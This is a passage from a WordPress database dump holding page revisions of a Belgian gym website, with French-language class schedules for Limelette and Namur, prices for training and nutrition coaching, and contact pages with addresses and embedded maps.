santé.\r\n&lt;h1&gt;&amp;nbsp;&lt;/h1&gt;\r\n&lt;h2&gt;Prix&lt;/h2&gt;\r\n&lt;table&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Team Training&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1 séance : 9.00€\r\n1 carte de 10 séances : 80.00€ (valable 3 mois)\r\n1 carte de 20 séances : 120.00€ (valable 4 mois)\r\nAbonnement 6 mois illimité : 399.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Package alimentation + sport&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1 carte de 20 séances + 1 rdv par semaine de coaching alimentaire pendant 3 mois = 235.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Coaching nutritionnel&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1er rendez-vous : bilan alimentaire et programme personnalisé : 50.00€\r\nSuivi 15,00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;', 'Les séances - Limelette', '', 'inherit', 'open', 'open', '', '361-revision-v1', '', '', '2013-11-04 17:41:06', '2013-11-04 17:41:06', '', 361, 'http://www.crosstrainingcenter.be/361-revision-v1/', 0, 'revision', '', 0),
(380, 1, '2013-11-04 17:41:46', '2013-11-04 17:41:46', '&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px; width: 50%;\&quot;&gt;\r\n&lt;div class=\&quot;sousmenu\&quot;&gt;\r\n&lt;div align=\&quot;center\&quot;&gt;\r\n\r\n&lt;a title=\&quot;Les séances – Namur\&quot; href=\&quot;http://www.crosstrainingcenter.be/les-seances-namur/\&quot;&gt;Namur&lt;/a&gt;\r\n\r\n&lt;/div&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px; width: 50%;\&quot;&gt;\r\n&lt;div class=\&quot;sousmenuhoover\&quot;&gt;\r\n&lt;div align=\&quot;center\&quot;&gt;\r\n\r\nLimelette\r\n\r\n&lt;/div&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;h1&gt;&amp;nbsp;&lt;/h1&gt;\r\n&lt;h1&gt;Team Training - Limelette :&lt;/h1&gt;\r\nEntrainements en groupe avec un coach qualifié (8 à 12 pers.). Nous vous proposons 4 types de séances décrites ci-dessous\r\n\r\n&amp;nbsp;\r\n&lt;table style=\&quot;width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;LUNDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;MARDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;MERCREDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;JEUDI&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;&lt;b&gt;18h&lt;/b&gt;\r\nRenforcement musculaire&lt;/td&gt;\r\n&lt;td class=\&quot;tcardio\&quot;&gt;&lt;b&gt;&lt;/b&gt;18h\r\nCardio&lt;/td&gt;\r\n&lt;td class=\&quot;trip\&quot;&gt;&lt;b&gt;18h&lt;/b&gt;\r\nCircuit training&lt;/td&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;&lt;b&gt;17h30&lt;/b&gt;\r\nRenforcement musculaire&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;tglfe\&quot;&gt;&lt;b&gt;18h45&lt;/b&gt;\r\nCircuit training&lt;/td&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;&lt;b&gt;18h45&lt;/b&gt;\r\nRenforcement musculaire&lt;/td&gt;\r\n&lt;td class=\&quot;tcardio\&quot;&gt;&lt;b&gt;18h45&lt;/b&gt;\r\nCardio&lt;/td&gt;\r\n&lt;td class=\&quot;trip\&quot;&gt;&lt;b&gt;18h15&lt;/b&gt;\r\nCircuit training&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;tcardio\&quot;&gt;&lt;b&gt;19h30&lt;/b&gt;\r\nCardio&lt;/td&gt;\r\n&lt;td class=\&quot;tglfe\&quot;&gt;&lt;b&gt;19h30&lt;/b&gt;\r\nCircuit training&lt;/td&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;&lt;b&gt;19h30&lt;/b&gt;\r\nRenforcement musculaire&lt;/td&gt;\r\n&lt;td class=\&quot;tcardio\&quot;&gt;&lt;b&gt;19h&lt;/b&gt;\r\nCardio&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&amp;nbsp;\r\n\r\n&lt;h1&gt;&amp;nbsp;&lt;/h1&gt;\r\n&lt;h2&gt;Duo Training - Limelette :&lt;/h2&gt;\r\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www.crosstrainingcenter.be/?page_id=9\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\r\nEntrainements à deux personnes sous la supervision d’un coach.\r\n&lt;h1&gt;&amp;nbsp;&lt;/h1&gt;\r\n&lt;h2&gt;Personal Training - Limelette :&lt;/h2&gt;\r\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www.crosstrainingcenter.be/?page_id=9\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\r\nUn coach par personne, l’idéal pour progresser plus rapidement!\r\n&lt;h1&gt;&amp;nbsp;&lt;/h1&gt;\r\n&lt;h2&gt;Coaching nutritionnel - Limelette :&lt;/h2&gt;\r\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www.crosstrainingcenter.be/?page_id=9\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\r\nRendez-vous avec une diététicienne pour améliorer votre santé.\r\n&lt;h1&gt;&amp;nbsp;&lt;/h1&gt;\r\n&lt;h2&gt;Prix&lt;/h2&gt;\r\n&lt;table&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Team Training&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1 séance : 9.00€\r\n1 carte de 10 séances : 80.00€ (valable 3 mois)\r\n1 carte de 20 séances : 120.00€ (valable 4 mois)\r\nAbonnement 6 mois illimité : 399.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Package alimentation + sport&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1 carte de 20 séances + 1 rdv par semaine de coaching alimentaire pendant 3 mois = 235.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Coaching nutritionnel&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1er rendez-vous : bilan alimentaire et programme personnalisé : 50.00€\r\nSuivi 15,00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;', 'Les séances - Limelette', '', 'inherit', 'open', 'open', '', '361-revision-v1', '', '', '2013-11-04 17:41:46', '2013-11-04 17:41:46', '', 361, 'http://www.crosstrainingcenter.be/361-revision-v1/', 0, 'revision', '', 0),
(381, 1, '2013-11-04 17:42:21', '2013-11-04 17:42:21', '&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px; width: 50%;\&quot;&gt;\r\n&lt;div class=\&quot;sousmenuhoover\&quot;&gt;\r\n&lt;div align=\&quot;center\&quot;&gt;\r\n\r\nNamur\r\n\r\n&lt;/div&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px; width: 50%;\&quot;&gt;\r\n&lt;div class=\&quot;sousmenu\&quot;&gt;\r\n&lt;div align=\&quot;center\&quot;&gt;\r\n\r\n&lt;a title=\&quot;Les séances – Limelette\&quot; href=\&quot;http://www.crosstrainingcenter.be/les-seances-limelette/\&quot;&gt;Limelette&lt;/a&gt;\r\n\r\n&lt;/div&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;h1&gt;&amp;nbsp;&lt;/h1&gt;\r\n&lt;h1&gt;Team Training - Namur :&lt;/h1&gt;\r\nEntrainements en groupe avec un coach qualifié (8 à 12 pers.). Nous vous proposons 4 types de séances décrites ci-dessous\r\n\r\n&amp;nbsp;\r\n&lt;table style=\&quot;width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;LUNDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;MARDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;MERCREDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;JEUDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;VENDREDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;SAMEDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;DIMANCHE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;&lt;b&gt;18h&lt;/b&gt;\r\nTRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcardio\&quot;&gt;&lt;b&gt;17h30&lt;/b&gt;\r\nCARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;trip\&quot;&gt;&lt;b&gt;18h&lt;/b&gt;\r\nRIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tglfe\&quot;&gt;&lt;b&gt;17h30&lt;/b&gt;\r\nGLFE&lt;/td&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;&lt;b&gt;17h30&lt;/b&gt;\r\nTRX&lt;/td&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;&lt;b&gt;11h&lt;/b&gt;\r\nTRX&lt;/td&gt;\r\n&lt;td class=\&quot;tglfe\&quot;&gt;&lt;b&gt;11h&lt;/b&gt;\r\nGLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;tglfe\&quot;&gt;&lt;b&gt;18h30&lt;/b&gt;\r\nGLFE&lt;/td&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;&lt;b&gt;18h15&lt;/b&gt;\r\nTRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcardio\&quot;&gt;&lt;b&gt;18h30&lt;/b&gt;\r\nCARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;trip\&quot;&gt;&lt;b&gt;18h15&lt;/b&gt;\r\nRIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tglfe\&quot;&gt;&lt;b&gt;18h15&lt;/b&gt;\r\nGLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tglfe\&quot;&gt;&lt;b&gt;11h30&lt;/b&gt;\r\nGLFE&lt;/td&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;&lt;b&gt;11h30&lt;/b&gt;\r\nTRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;trip\&quot;&gt;&lt;b&gt;19h&lt;/b&gt;\r\nRIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tglfe\&quot;&gt;&lt;b&gt;19h&lt;/b&gt;\r\nGLFE&lt;/td&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;&lt;b&gt;19h&lt;/b&gt;\r\nTRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcardio\&quot;&gt;&lt;b&gt;19h&lt;/b&gt;\r\nCARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;trip\&quot;&gt;&lt;b&gt;19h&lt;/b&gt;\r\nRIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;trip\&quot;&gt;&lt;b&gt;12h&lt;/b&gt;\r\nRIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcardio\&quot;&gt;&lt;b&gt;12h&lt;/b&gt;\r\nCARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;tcardio\&quot;&gt;&lt;b&gt;19h45&lt;/b&gt;\r\nCARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;trip\&quot;&gt;&lt;b&gt;19h30&lt;/b&gt;\r\nRIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tglfe\&quot;&gt;&lt;b&gt;19h45&lt;/b&gt;\r\nGLFE&lt;/td&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;&lt;b&gt;19h15&lt;/b&gt;\r\nTRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcardio\&quot;&gt;&lt;b&gt;19h45&lt;/b&gt;\r\nCARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&amp;nbsp;\r\n\r\n&lt;span style=\&quot;text-decoration: underline; background: #F2F5A9;\&quot;&gt;&lt;strong&gt;TRX :&lt;/strong&gt;&lt;/span&gt; entrainement basé sur le poids du corps ! Vous réaliserez des centaines d’exercices qui permettront de développer puissance, force, souplesse, équilibre, mobilité tout en évitant les blessures et avec l\'intensité que vous avez choisie.\r\n\r\n&lt;span style=\&quot;text-decoration: underline; background: #E6E6E6;\&quot;&gt;&lt;strong&gt;Circuit GLFE :&lt;/strong&gt;&lt;/span&gt; travaillez de manière fun sur un circuit ultra complet, adapté à votre niveau. Relevez des challenges et augmentez votre confiance en vous ! Ce circuit utilise tous les outils.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline; background: #A9F5A9;\&quot;&gt;RIP-KETTLE&lt;/span&gt; :&lt;/strong&gt; alternance d’exercices avec le Kettlebell (cible les zones inaccessibles avec haltères et charges guidées) et le RIP Trainer (outils issus de la kinésithérapie pour travailler la stabilité de la ceinture abdominale, la coordination,…). Excellent cours pour renforcer, tonifier et raffermir en profondeur votre corps.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline; background: #A9F5F2;\&quot;&gt;CARDIO&lt;/span&gt; :&lt;/strong&gt; pour développer votre endurance musculaire et cardiovasculaire. Idéal pour brûler un maximum de calories et perdre du poids !\r\n&lt;h1&gt;&amp;nbsp;&lt;/h1&gt;\r\n&lt;h2&gt;Duo Training - Namur :&lt;/h2&gt;\r\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www2.crosstrainingcenter.be/contact-2/\&quot; target=\&quot;_blank\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\r\nEntrainements à deux personnes sous la supervision d’un coach.\r\n&lt;h1&gt;&amp;nbsp;&lt;/h1&gt;\r\n&lt;h2&gt;Personal Training - Namur :&lt;/h2&gt;\r\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www2.crosstrainingcenter.be/contact-2/\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\r\nUn coach par personne, l’idéal pour progresser plus rapidement!\r\n&lt;h1&gt;&amp;nbsp;&lt;/h1&gt;\r\n&lt;h2&gt;Coaching nutritionnel - Namur :&lt;/h2&gt;\r\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www2.crosstrainingcenter.be/contact-2/\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\r\nRendez-vous avec une diététicienne pour améliorer votre santé.\r\n&lt;h1&gt;&amp;nbsp;&lt;/h1&gt;\r\n&lt;h2&gt;Prix&lt;/h2&gt;\r\n&lt;table&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Team Training&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1 séance : 9.00€\r\n1 carte de 10 séances : 80.00€ (valable 3 mois)\r\n1 carte de 20 séances : 120.00€ (valable 4 mois)\r\nAbonnement 6 mois illimité : 399.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Package alimentation + sport&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1 carte de 20 séances + 1 rdv par semaine de coaching alimentaire pendant 3 mois = 235.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Coaching nutritionnel&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1er rendez-vous : bilan alimentaire et programme personnalisé : 50.00€\r\nSuivi 15,00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;', 'Les séances - Namur', '', 'inherit', 'open', 'open', '', '363-revision-v1', '', '', '2013-11-04 17:42:21', '2013-11-04 17:42:21', '', 363, 'http://www.crosstrainingcenter.be/363-revision-v1/', 0, 'revision', '', 0),
(385, 1, '2013-11-04 17:48:51', '2013-11-04 17:48:51', '&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px; width: 50%; text-align: center;\&quot;&gt;\r\n&lt;h1&gt;Limelette&lt;/h1&gt;\r\n&lt;iframe src=\&quot;https://maps.google.be/maps?f=q&amp;amp;source=s_q&amp;amp;hl=fr&amp;amp;geocode=&amp;amp;q=Avenue+L%C3%A9on+Fournet,+20+-+Limelette+1342&amp;amp;aq=&amp;amp;sll=50.484709,4.855099&amp;amp;sspn=0.050462,0.077162&amp;amp;gl=be&amp;amp;ie=UTF8&amp;amp;hq=&amp;amp;hnear=Avenue+L%C3%A9on+Fournet+20,+1342+Ottignies-Louvain-la-Neuve,+Brabant+Wallon,+R%C3%A9gion+wallonne&amp;amp;t=m&amp;amp;ll=50.676229,4.582672&amp;amp;spn=0.032635,0.051498&amp;amp;z=13&amp;amp;iwloc=A&amp;amp;output=embed\&quot; height=\&quot;300\&quot; width=\&quot;300\&quot; frameborder=\&quot;0\&quot; marginwidth=\&quot;0\&quot; marginheight=\&quot;0\&quot; scrolling=\&quot;no\&quot;&gt;&lt;/iframe&gt;\r\n\r\n&lt;address&gt;Club Justine Henin\r\nAvenue Léon Fournet, 20\r\n1342 Limelette&lt;/address&gt;&lt;a href=\&quot;mailto:info@crosstrainingcenter.be\&quot;&gt;info@crosstrainingcenter.be&lt;/a&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px; width: 50%; text-align: center;\&quot;&gt;\r\n&lt;h1&gt;Namur&lt;/h1&gt;\r\n&lt;iframe src=\&quot;https://maps.google.be/maps?q=Chauss%C3%A9e+de+Perwez+251+5002+Namur&amp;amp;ie=UTF8&amp;amp;hq=&amp;amp;hnear=Chauss%C3%A9e+de+Perwez+251,+Saint-Servais+5002&amp;amp;gl=be&amp;amp;t=m&amp;amp;ll=50.472583,4.860764&amp;amp;spn=0.065552,0.102997&amp;amp;z=12&amp;amp;iwloc=A&amp;amp;output=embed\&quot; height=\&quot;300\&quot; width=\&quot;300\&quot; frameborder=\&quot;0\&quot; marginwidth=\&quot;0\&quot; marginheight=\&quot;0\&quot; scrolling=\&quot;no\&quot;&gt;&lt;/iframe&gt;\r\n\r\n&lt;address&gt;Bowling et Squash de Namur\r\nChaussée de Perwez, 251\r\n5002 Namur&lt;/address&gt;&lt;address&gt;&lt;a href=\&quot;mailto:info@crosstrainingcenter.be\&quot;&gt;info@crosstrainingcenter.be&lt;/a&gt;&lt;/address&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px; width: 50%; text-align: center;\&quot;&gt;\r\n&lt;h1&gt;&amp;nbsp;&lt;/h1&gt;\r\n&lt;h1&gt;Laissez-nous un message :&lt;/h1&gt;\r\n[contact-form-7 id=\&quot;257\&quot; title=\&quot;Contact form 1\&quot;]\r\n&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px; width: 50%; text-align: center;\&quot;&gt;\r\n&lt;h1&gt;&amp;nbsp;&lt;/h1&gt;\r\n&lt;h1&gt;Prise de RDV :&lt;/h1&gt;\r\nLes prises de RDV pour les séances de\r\nTeam Training, Duo Training, Personnal\r\nTraining ou Coaching nutritionnel se\r\nfont exclusivement par téléphone.\r\n0485 / 92 . 02 . 12\r\n&lt;h1&gt;&lt;/h1&gt;\r\n&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;h1&gt;&lt;/h1&gt;\r\n&lt;h1 style=\&quot;text-align: center;\&quot;&gt;&lt;/h1&gt;', 'Contact', '', 'inherit', 'open', 'open', '', '9-revision-v1', '', '', '2013-11-04 17:48:51', '2013-11-04 17:48:51', '', 9, 'http://www.crosstrainingcenter.be/9-revision-v1/', 0, 'revision', '', 0),
(382, 1, '2013-11-04 17:45:12', '2013-11-04 17:45:12', '&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px; width: 50%; text-align: center;\&quot;&gt;\r\n&lt;h1&gt;Limelette&lt;/h1&gt;\r\n&lt;iframe src=\&quot;https://maps.google.be/maps?f=q&amp;amp;source=s_q&amp;amp;hl=fr&amp;amp;geocode=&amp;amp;q=Avenue+L%C3%A9on+Fournet,+20+-+Limelette+1342&amp;amp;aq=&amp;amp;sll=50.484709,4.855099&amp;amp;sspn=0.050462,0.077162&amp;amp;gl=be&amp;amp;ie=UTF8&amp;amp;hq=&amp;amp;hnear=Avenue+L%C3%A9on+Fournet+20,+1342+Ottignies-Louvain-la-Neuve,+Brabant+Wallon,+R%C3%A9gion+wallonne&amp;amp;t=m&amp;amp;ll=50.676229,4.582672&amp;amp;spn=0.032635,0.051498&amp;amp;z=13&amp;amp;iwloc=A&amp;amp;output=embed\&quot; height=\&quot;300\&quot; width=\&quot;300\&quot; frameborder=\&quot;0\&quot; marginwidth=\&quot;0\&quot; marginheight=\&quot;0\&quot; scrolling=\&quot;no\&quot;&gt;&lt;/iframe&gt;\r\n\r\n&lt;address&gt;Club Justine Henin\r\nAvenue Léon Fournet, 20\r\n1342 Limelette&lt;/address&gt;&lt;a href=\&quot;mailto:info@crosstrainingcenter.be\&quot;&gt;info@crosstrainingcenter.be&lt;/a&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px; width: 50%; text-align: center;\&quot;&gt;\r\n&lt;h1&gt;Namur&lt;/h1&gt;\r\n&lt;iframe src=\&quot;https://maps.google.be/maps?q=Chauss%C3%A9e+de+Perwez+251+5002+Namur&amp;amp;ie=UTF8&amp;amp;hq=&amp;amp;hnear=Chauss%C3%A9e+de+Perwez+251,+Saint-Servais+5002&amp;amp;gl=be&amp;amp;t=m&amp;amp;ll=50.472583,4.860764&amp;amp;spn=0.065552,0.102997&amp;amp;z=12&amp;amp;iwloc=A&amp;amp;output=embed\&quot; height=\&quot;300\&quot; width=\&quot;300\&quot; frameborder=\&quot;0\&quot; marginwidth=\&quot;0\&quot; marginheight=\&quot;0\&quot; scrolling=\&quot;no\&quot;&gt;&lt;/iframe&gt;\r\n\r\n&lt;address&gt;Bowling et Squash de Namur\r\nChaussée de Perwez, 251\r\n5002 Namur&lt;/address&gt;&lt;address&gt;&lt;a href=\&quot;mailto:info@crosstrainingcenter.be\&quot;&gt;info@crosstrainingcenter.be&lt;/a&gt;&lt;/address&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px; width: 50%; text-align: center;\&quot;&gt;\r\n&lt;h1&gt;&amp;nbsp;&lt;/h1&gt;\r\n&lt;h1&gt;Laissez-nous un message :&lt;/h1&gt;\r\n[contact-form-7 id=\&quot;257\&quot; title=\&quot;Contact form 1\&quot;]\r\n&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px; width: 50%; text-align: center;\&quot;&gt;\r\n&lt;h1&gt;&amp;nbsp;&lt;/h1&gt;\r\n&lt;div id=\&quot;rdv\&quot;&gt;&lt;/div&gt;\r\n&lt;h1&gt;Prise de RDV :&lt;/h1&gt;\r\nLes prises de RDV pour les séances de\r\nTeam Training, Duo Training, Personnal\r\nTraining ou Coaching nutritionnel se\r\nfont exclusivement par téléphone.\r\n0485 / 92 . 02 . 12\r\n&lt;h1&gt;&lt;/h1&gt;\r\n&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;h1&gt;&lt;/h1&gt;\r\n&lt;h1 style=\&quot;text-align: center;\&quot;&gt;&lt;/h1&gt;', 'Contact', '', 'inherit', 'open', 'open', '', '9-revision-v1', '', '', '2013-11-04 17:45:12', '2013-11-04 17:45:12', '', 9, 'http://www.crosstrainingcenter.be/9-revision-v1/', 0, 'revision', '', 0);
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(384, 1, '2013-11-04 17:47:17', '2013-11-04 17:47:17', '&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px; width: 50%;\&quot;&gt;\r\n&lt;div class=\&quot;sousmenu\&quot;&gt;\r\n&lt;div align=\&quot;center\&quot;&gt;\r\n\r\n&lt;a title=\&quot;Les séances – Namur\&quot; href=\&quot;http://www.crosstrainingcenter.be/les-seances-namur/\&quot;&gt;Namur&lt;/a&gt;\r\n\r\n&lt;/div&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px; width: 50%;\&quot;&gt;\r\n&lt;div class=\&quot;sousmenuhoover\&quot;&gt;\r\n&lt;div align=\&quot;center\&quot;&gt;\r\n\r\nLimelette\r\n\r\n&lt;/div&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;h1&gt;&amp;nbsp;&lt;/h1&gt;\r\n&lt;h1&gt;Team Training - Limelette :&lt;/h1&gt;\r\nEntrainements en groupe avec un coach qualifié (8 à 12 pers.). Nous vous proposons 4 types de séances décrites ci-dessous\r\n\r\n&amp;nbsp;\r\n&lt;table style=\&quot;width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;LUNDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;MARDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;MERCREDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;JEUDI&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;&lt;b&gt;18h&lt;/b&gt;\r\nRenforcement musculaire&lt;/td&gt;\r\n&lt;td class=\&quot;tcardio\&quot;&gt;&lt;b&gt;&lt;/b&gt;18h\r\nCardio&lt;/td&gt;\r\n&lt;td class=\&quot;trip\&quot;&gt;&lt;b&gt;18h&lt;/b&gt;\r\nCircuit training&lt;/td&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;&lt;b&gt;17h30&lt;/b&gt;\r\nRenforcement musculaire&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;tglfe\&quot;&gt;&lt;b&gt;18h45&lt;/b&gt;\r\nCircuit training&lt;/td&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;&lt;b&gt;18h45&lt;/b&gt;\r\nRenforcement musculaire&lt;/td&gt;\r\n&lt;td 